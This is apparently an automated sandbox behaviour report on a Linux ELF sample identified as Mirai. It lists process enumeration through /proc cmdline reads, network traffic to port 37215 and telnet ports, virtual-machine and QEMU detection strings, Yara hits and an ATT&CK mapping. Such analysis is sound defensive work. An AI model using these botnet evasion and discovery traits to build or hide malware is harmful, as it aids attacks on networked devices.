Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/6227/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/6226/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/4500/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/zh3b51uyPN.elf (PID: 6293)	File opened: /proc/1494/cmdline	Jump to behavior

Source: /usr/sbin/invoke-rc.d (PID: 6271)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 6277)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 6281)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Source: /usr/sbin/logrotate (PID: 6268)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "			Jump to behavior
Source: /usr/sbin/logrotate (PID: 6279)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 55636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50640
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50648
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50650
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50652
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50654
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50658
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50662
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50666
Source: unknown	Network traffic detected: HTTP traffic on port 60262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50670
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 50674
Source: unknown	Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39176
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39184
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39196
Source: unknown	Network traffic detected: HTTP traffic on port 51774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39202
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39206
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39208
Source: unknown	Network traffic detected: HTTP traffic on port 51774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39212
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39216
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39234
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39246
Source: unknown	Network traffic detected: HTTP traffic on port 51774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215

Source: /usr/bin/find (PID: 6266)

Queries kernel information via 'uname':

Jump to behavior

Source: /usr/sbin/logrotate (PID: 6203)	Truncated file: /var/log/cups/access_log.1			Jump to behavior
Source: /usr/sbin/logrotate (PID: 6203)	Truncated file: /var/log/syslog.1			Jump to behavior

Source: 6272.20.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 6272.20.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 6272.20.dr	Binary or memory string: qemu-or1k
Source: 6272.20.dr	Binary or memory string: qemu-riscv64
Source: 6272.20.dr	Binary or memory string: {cqemu
Source: 6272.20.dr	Binary or memory string: qemu-arm
Source: 6272.20.dr	Binary or memory string: (qemu
Source: 6272.20.dr	Binary or memory string: qemu-tilegx
Source: 6272.20.dr	Binary or memory string: qemu-hppa
Source: 6272.20.dr	Binary or memory string: q{rqemu%
Source: 6272.20.dr	Binary or memory string: )qemu
Source: 6272.20.dr	Binary or memory string: vmware-toolbox-cmd
Source: 6272.20.dr	Binary or memory string: qemu-ppc
Source: 6272.20.dr	Binary or memory string: Tqemu9
Source: 6272.20.dr	Binary or memory string: qemu-aarch64_be
Source: 6272.20.dr	Binary or memory string: 0qemu9
Source: 6272.20.dr	Binary or memory string: qemu-sparc64
Source: 6272.20.dr	Binary or memory string: qemu-mips64
Source: 6272.20.dr	Binary or memory string: vV:qemu9
Source: 6272.20.dr	Binary or memory string: qemu-ppc64le
Source: 6272.20.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 6272.20.dr	Binary or memory string: vmware
Source: 6272.20.dr	Binary or memory string: qemu-cris
Source: 6272.20.dr	Binary or memory string: libvmtools
Source: 6272.20.dr	Binary or memory string: qemu-m68k
Source: 6272.20.dr	Binary or memory string: qemu-xtensa
Source: 6272.20.dr	Binary or memory string: 9qemu
Source: 6272.20.dr	Binary or memory string: qemu-sh4
Source: 6272.20.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: 6272.20.dr	Binary or memory string: .qemu{
Source: 6272.20.dr	Binary or memory string: qemu-ppc64abi32
Source: 6272.20.dr	Binary or memory string: qemu-ppc64
Source: 6272.20.dr	Binary or memory string: qemu-i386
Source: 6272.20.dr	Binary or memory string: qemu-x86_64
Source: 6272.20.dr	Binary or memory string: H~6\nqemu*q
Source: 6272.20.dr	Binary or memory string: @qemu
Source: 6272.20.dr	Binary or memory string: Fqqemu
Source: 6272.20.dr	Binary or memory string: N4qemu
Source: 6272.20.dr	Binary or memory string: ~6\nqemu*q
Source: 6272.20.dr	Binary or memory string: qemu-mips64el
Source: 6272.20.dr	Binary or memory string: hqemu
Source: 6272.20.dr	Binary or memory string: &mqemu
Source: 6272.20.dr	Binary or memory string: $qemu
Source: 6272.20.dr	Binary or memory string: qemu-sparc
Source: 6272.20.dr	Binary or memory string: qemu-microblaze
Source: 6272.20.dr	Binary or memory string: qemu-user
Source: 6272.20.dr	Binary or memory string: qemu-aarch64
Source: 6272.20.dr	Binary or memory string: qemu-sh4eb
Source: 6272.20.dr	Binary or memory string: iqemu
Source: 6272.20.dr	Binary or memory string: qemu-mipsel
Source: 6272.20.dr	Binary or memory string: qemuP`
Source: 6272.20.dr	Binary or memory string: qemu-alpha
Source: 6272.20.dr	Binary or memory string: qemu-microblazeel
Source: 6272.20.dr	Binary or memory string: \qemu
Source: 6272.20.dr	Binary or memory string: qemu-xtensaeb
Source: 6272.20.dr	Binary or memory string: qemu-mipsn32el
Source: 6272.20.dr	Binary or memory string: SAqemu
Source: 6272.20.dr	Binary or memory string: Vqemu
Source: 6272.20.dr	Binary or memory string: qemu-mipsn32
Source: 6272.20.dr	Binary or memory string: qemuAU
Source: 6272.20.dr	Binary or memory string: qemu-riscv32
Source: 6272.20.dr	Binary or memory string: qemu-sparc32plus
Source: 6272.20.dr	Binary or memory string: 7,qemu
Source: 6272.20.dr	Binary or memory string: qemu-s390x
Source: 6272.20.dr	Binary or memory string: vmware-checkvm
Source: 6272.20.dr	Binary or memory string: qemu-nios2
Source: 6272.20.dr	Binary or memory string: qemu-armeb
Source: 6272.20.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 6272.20.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 6272.20.dr	Binary or memory string: I_qemu
Source: 6272.20.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 6272.20.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 6272.20.dr	Binary or memory string: qemu-mips
Source: 6272.20.dr	Binary or memory string: qemuj\
Source: 6272.20.dr	Binary or memory string: {qemuQ&
Source: 6272.20.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 6272.20.dr	Binary or memory string: vmware-xferlogs

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: zh3b51uyPN.elf, type: SAMPLE
Source: Yara match	File source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: zh3b51uyPN.elf, type: SAMPLE
Source: Yara match	File source: 6291.1.0000000008048000.0000000008054000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	1 Systemd Service	1 Systemd Service	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
